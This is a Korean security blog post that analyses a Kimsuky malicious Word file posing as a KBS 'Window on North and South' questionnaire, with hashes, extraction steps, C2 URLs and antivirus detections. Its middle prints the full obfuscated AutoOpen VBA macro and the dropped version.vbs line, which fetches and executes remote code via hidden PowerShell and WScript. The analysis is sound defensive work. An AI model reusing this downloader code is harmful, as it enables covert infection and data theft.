꿈을꾸는 파랑새

반응형

오늘은 북한 해커 조직인 Kimsuky(킴수키) 또는 김수키 라고 하는 북한 해커 집단에서 라자루스(Lazarus Group) 하고 자매 정도 포지션 이라고 할 수가 있으며 
정보 탈취를 목적으로 활동하는 지능형지속위협(APT) 그룹으로 알려졌으며 2013년 9월 러시아 보안업체 카스퍼스키(Kaspersky)에 의해 처음 알려졌고 서울에 있는 모 대학 병원의 환자 정보를 탈취하기도 했으며 한국원자력연구원, 원전반대그룹을 자처하며 한국수력원자력의 대외비 자료를 공개 등으로 말미암아서 한때 비상근무를 쓰기도 했던 해킹 그룹으로 주목받고 있으면 지난 제 블로그에서도 글을 적었지만, 북한 해킹 조직 김수키 에서 만든 악성코드 KISA Mobile Security, 그리고 가상화폐 훔치려고 만든 악성코드인 DropPang를 적어본 적이 있습니다.

일단 해당 Kimsuky(김수키) 조직에서 만든 워드 악성코드인 남북의 창 질의서.doc 에 대해서 알아보겠습니다.일단 KBS 남북의 창이라는 프로그램은 1989년 3월 14일부터 현재까지 토요일 07:50~08:30 에 방송을 하고 있으며 KBS의 북한 시사 프로그램입니다.

일단 해당 악성코드는 기본적으로 작동 방식은 간단합니다.

워드에서는 기본적으로 매크로가 포함돼 있으며 해당 악성 매크로가 포함된 워드를 실행을 시키면 기본적으로 워드 안에 있는 매크로가 작동해서 사용자 컴퓨터, 노트북을 감염시키는 구조로 되어 있습니다.

남북의 창 질의서 악성코드 실행
남북의 창 질의서 악성코드 실행

파일명: 남북의 창 질의서.doc
사이즈:714 KB
CRC32:c3a88205
MD5:734b2d5832aab48287256115853ea84b
SHA-1:cafcd26c7c9fb209319e479437bc90eb1cd601e9
SHA-256:a0fddbb638fc4f3ba4cefc0707226e8c01eefd98f78d6a9b4fbca1ba74b21adf
SHA-512:0509f21f0bab01a59b0f40081c2a1a9bfe7aa8c95b27588459e1b1ec70e79e68f478a8c32d49be22eb9b8c68bd2c4066c15d9a22625bd56b3a21ce7f63a417d8
일단 해당 악성코드를 실행하면 다음가 같은 화면을 볼 수가 있습니다.
내용은 다음과 같습니다.
콘텐츠 불러오기 오류 발생
호환성문제로 콘텐츠를 올바르게 불러올수 없습니다.
문제를 해결하시려면,아래의 조치들을 체크하세요.
Microsoft Office 제품군을 이용하여 문서를 엽니다.
데트크톱 또는 랩톱 사용
문서 상단의 "편집사용"버튼을 클릭 하시고 "콘텐츠 사용"버튼을 클릭하세요.
여기서 잘 보면 북한 해커 단체 김수키(Kimsuky)에서 악성코드를 만들 때 한국어 실수를 한 것을 볼 수가 있을 것입니다. 해당 부분을 잘 보면 쉽게 파악을 할 수가 있을 것입니다. 아무튼, 일단 여기서 매크로를 사용할 수 없도록 설정했습니다. 콘텐츠 사용이라고 된 부분을 눌러 주면 해당 매크로가 작동을 시작합니다.

김수키 남북의 창 질의서 악성코드 내용 2
김수키 남북의 창 질의서 악성코드 내용

그리고 워드 내용은 KBS 1TV[남북의 창]
이라고 돼 있고 질문 형식으로 한중 수교 30년 맞았지만, 한국 국민의 반중(反中) 감정은 그 어느 때보다 거세다 이류가 뭐라고 보십니까? 라고 돼 있습니다. 그리고 한중 관계 관한 이야기 들이 많이 있는 것을 볼 수가 있었습니다.
그리고 마지막으로는 윤석열 정부가 최근 100일을 맞았다.윤 정부의 대(對)북 전략을 평가하한다면? 이라고 돼 있는데 맞춤법이 엉망인 것을 볼 수가 있습니다.

그리고 칩4동맹, 북핵 문제 등 현재 한반도를 둘러싸는 문제들을 다루고 있으며 그리고 매크로를 보려고 매크로 편집기를 실행하면 암호를 걸어 두어서 매크로를 보지 못하게 해두었습니다. 뭐 귀찮지만, 해체를 하려고 지난번에 사용한 방법을 이용해서 접근해 보겠습니다. 물론 
OfficeMalScanner 같은 프로그램을 이용하는 것도 좋은 방법입니다.
먼저 한번 정보를 확인을 해보면 다음과 같이 나오는 것을 확인할 수가 있습니다.

OfficeMalScanner 사용한 악성코드 매크로 추출 성공

Sorry, this file is not a Ms Office OLE2 Compound File (PPT/DOC/XLS)
but an Ms Office Open XML Format document (MSOffice 2007 and higher) was detected.
Try using the "inflate" mode to scan for .bin files

악성코드 vbaProject.bin 확인
악성코드 vbaProject.bin 확인

그리고 나서 bin 파일 이름 및 bin 파일 위치 검색을 합니다. 그러면 결과는 다음과 같이 나옵니다.

남북의 창 질의서 악성코드 매크로
남북의 창 질의서 악성코드 매크로

그러며 이제 악성코드에 포함된 매크로를 추출하기 위해서 vbaProject.bin을 다시 OfficeMalScanner 폴더에 넣고 나서 OfficeMalScanner.exe vbaProject.bin info를 실행해서 이제 매크로를 추출합니다.
OfficeMalScanner.exe vbaProject.bin info

그러면 악성코드에 포함된 매크로를 볼 수가 있습니다.
조금 더 쉬운 방법은 LibreOffice(리브레오피스)를 실행을 해서 매크로 등급을 낮으므로 변경을 하고 해당 악성코드를 실행하면 매크로 편집기로 열며 복잡한 과정 없이 간단하게 매크로에 접근할 수가 있습니다.

[소프트웨어 팁/보안 및 분석] - 악성코드 VBA 매크로 비밀번호 푸는 방법

 

악성코드 VBA 매크로 비밀번호 푸는 방법

오늘은 악성코드 VBA 매크로 비밀번호 푸는 방법에 대해 글을 적어 보겠습니다. 해당 글에 관심 있으신 분들은 2가지 분류가 아닐까 생각이 됩니다. 첫 번째는 VBA 에 암호를 걸

wezard4u.tistory.com


그러면 악성코드가 실행되는 코드는 다음과 같습니다.

남북의 창 매크로
남북의 창 매크로

Sub Reserve(pth)
    hs = "or Resume Next:Se"
    cnt = "ct(""Microso"
    Documents.Add
    hs = "On Err" & hs & "t mx = Cre"
    md = "LHTTP""):mx.op"
    md = "ft.XM" & md & "en ""GE"
    cnt = hs & "ateObje" & cnt & md
    hs = "T"", ""htt"
    md = hs & "p:/"
    Set ad = ActiveDocument
    URI = "sectionss.scienceontheweb(.)net/account"
    md = md & "/" & URI
    ts = "p?query=1"", False:mx.Sen"
    cnt = cnt & md & "/list.ph" & ts & "d:Ex"
    hs = "te(mx.respons"
    cnt = cnt & "ecu" & hs
    cnt = cnt & "eText)"
    
    ad.Range.Text = cnt
    fval = wdFormatText
    ad.SaveAs2 FileName:=pth, FileFormat:=fval
    ad.Close
End Sub

Sub Review(vmod)
    On Error Resume Next
    Set wnd = ActiveWindow
    Set sel = Selection
    wnd.View.SeekView = vmod
    rval = False
    sel.WholeStory
    hm = False
    sel.Font.Hidden = hm
    rval = True
    If rval = True Then
        sel.Collapse
    End If
End Sub

Sub ViewContent()
    Mode = 10
    Do Until Mode < 0
        Review (Mode)
        Mode = Mode - 1
    Loop
End Sub

Sub AutoOpen()
    On Error Resume Next
    myject2 = "32_pr"
    myject = "mts"
    pw = "1qaz2wsx"
    mysject = "winmg"
    mysject1 = "win"
    myject = mysject & myject & ":" & mysject1
    Weed pw
    myject3 = "ocess"
    myject = myject & myject2 & myject3
    Set adom = ActiveDocument
    ins = "w"
    ts = "xe //e:vb"
    With adom.Shapes("mypic")
        cd = " //b "
        .Fill.Solid
        mt = "script"
        Set wm = GetObject(myject)
        ts = ts & mt
        ins = ins & mt & ".e"
        pth = Templates(1).Path & "\version(.)vbs"
        cd = ins & ts & cd
        .Delete
    End With
    ViewContent
    Reserve pth
    ts1 = "//e:vbscr"
    mt1 = "ipt"
    cd1 = " //b "
    wm.Create "powershell(.)exe -nop -w hidden -c " & pth
    'wm.Create "calc(.)exe"
    adom.Save
    End Sub

일단 해당 부분은 파워셀을 통해서 난독화 돼 있고 이걸 따라가면 일단 접속하는 인터넷 주소는 다음과 같습니다.

http://sectionss.scienceontheweb(.)net/account/list.php?query=1(wscript(.)exe)
http://sectionss.scienceontheweb(.)net/account/lib.php?idx=1(powershell(.)exe)
http://sectionss.scienceontheweb(.)net/account/show.php(powershell(.)exe)

이게 되고 이며 매크로가 실행되면 AppData\Roaming\Microsoft\Templates 폴더에 version(.)vbs 이라는 파일을 생성하는 것을 볼 수가 있습니다.
그리고 매크로를 열어 보면 언제나 한결같이 사용을 하는 "1qaz2wsx" 비밀번호가 보이는 것을 확인할 수가 있습니다.
그리고 해당 생성된 vbs 파일을 열어 보면 다음과 같은 내용이 있는 것을 확인할 수가 있습니다.

악성코드 version.vbs 파일 생성
악성코드 version.vbs 파일 생성

On Error Resume Next:Set mx = CreateObject("Microsoft.XMLHTTP"):mx.open "GET", "http://sectionss.scienceontheweb(.)net/account/list.php?query=1", False:mx.Send:Execute(mx.responseText)

악성코드 version.vbs 내용
악성코드 version.vbs 내용

가 될 것이면 악성코드 전체적인 실행 흐름은 다음과 같습니다.
매크로가 포함된 악성코드 실행->WINWORD.EXE 작동->powershell(.)exe(파워셀 실행)-> powershell(.)exe -nop -w hidden -c C:\Users\user\AppData\Roaming\Microsoft\Templates\version.vbs
그리고 wscript(.)exe 를 통해서 C:\Windows\System32\WScript(.)exe" "C:\Users\user\AppData\Roaming\Microsoft\Templates\version.vbs
과정을 거치게 되고 저 멀리 불가리아(Bulgaria)로 가는 것을 볼 수가 있습니다. 최근에 보면 김수키 에서 불가리아 쪽을 많이 선호하는 것 같습니다.

리브레 오피스 매크로 편집기 사용
리브레 오피스 매크로 편집기 사용

2022-09-07 21:19:11 UTC 기준 바이러스토탈(VirusTotal)에서는 일단 해당 악성코드 주소는 다음과 같은 보안 제품들이 차단하고 있습니다.
BitDefender:Malware
CRDF:Malicious
CyRadar:Malicious
ESET:Malware
ESTsecurity:Malicious
G-Data:Malware
Viettel Threat Intelligence:Malicious

그리고 바이러스 토탈에서 탐지를 하고 있지 않다고 나오는 Norton(노턴) 같은 경우 Symantec Sitereview를 통해서 정확하게 탐지를 하고 있습니다.
2022-09-07 11:05:15 UTC 기준 바이러스토탈(VirusTotal)에서는 일단 해당 악성코드는 다음과 같은 백신 프로그램(안티 바이러스) 보안 업체들이 탐지하고 있습니다.
Acronis (Static ML):Suspicious
Ad-Aware:Trojan.GenericKD.61516778
AhnLab-V3:Downloader/DOC.Kimsuky
Alibaba:TrojanDownloader:VBA/MalDoc.ali1000103
ALYac:Trojan.Downloader.DOC.Gen
Antiy-AVL:Trojan/Generic.ASHMacro.641
Avast:SNH:Script [Dropper]
AVG:SNH:Script [Dropper]
Avira (no cloud):HEUR/Macro.Downloader.MRQR.Gen
BitDefender:Trojan.GenericKD.61516778
Comodo:TrojWare.Win32.BadShell.XSP@7pmj0k
Cynet:Malicious (score: 99)
Cyren:ABRisk.NTRT-5
DrWeb:Modification Of W97M.Suspicious.1
Elastic:Malicious (high Confidence)
Emsisoft:Trojan.GenericKD.61516778 (B)
eScan:Trojan.GenericKD.61516778
ESET-NOD32:VBS/Kimsuky.N
Fortinet:VBA/Agent.YBA!tr
GData:Trojan.GenericKD.61516778
Google:Detected
Kaspersky:UDS:DangerousObject.Multi.Generic
Kingsoft:Macro.Word.Generic.jm.(kcloud)
Lionic:Trojan.MSWord.Macro.4!c
MAX:Malware (ai Score=100)
McAfee-GW-Edition:BehavesLike.Downloader.bc
Microsoft:TrojanDownloader:O97M/Powdow.AL!MTB
QuickHeal:Ole.Trojan.A6124021
Rising:Heur.Macro.powershell.a (CLASSIC)
Sangfor Engine Zero:Malware.Generic-Macro.Save.87235b67
Symantec:ISB.Downloader!gen92
TACHYON:Suspicious/WOX.XSR.Gen
Tencent:Heur.Macro.Generic.a.982e551d
Trellix (FireEye):Trojan.GenericKD.61516778
VIPRE:Trojan.GenericKD.61516778
VirIT:Office.VBA_Macro_Heur
ViRobot:DOC.Z.Agent.731814
Zoner:Probably Heur.W97ShellS
입니다.
일단 기본적으로 북한의 해커 조직 김수키는 한국의 방송국 기자, 국회의원, 방산업체 등을 계속 공격하고 있으며 기본적으로 공식적으로 AV-TEST에서 공식적으로 인정받는 보안프로그램을 설치해서 실시간 감시, 실시간 업데이트 그리고 마이크로소프트 오피스 에서 매크로를 사용하는 것은 항상 신중하게 선택을 해야 하면
그리고 이메일도 신뢰성 있는 사람을 해킹해서 이메일 보낼 수가 있으며 항상 조심하며 기본적인 보안 수칙을 지키는 것이 안전하게 컴퓨터를 사용하는 방법이면 귀찮더라도 백신 프로그램,윈도우 업데이트,각종 드라이버 업데이트 ,프로그램 최신 업데이트 그리고 프로그램에서 걸어 놓은 최소한의 보안 장치들을 해제하는 것을 하지 말아야 합니다.

반응형
그리드형

댓글

비밀글모드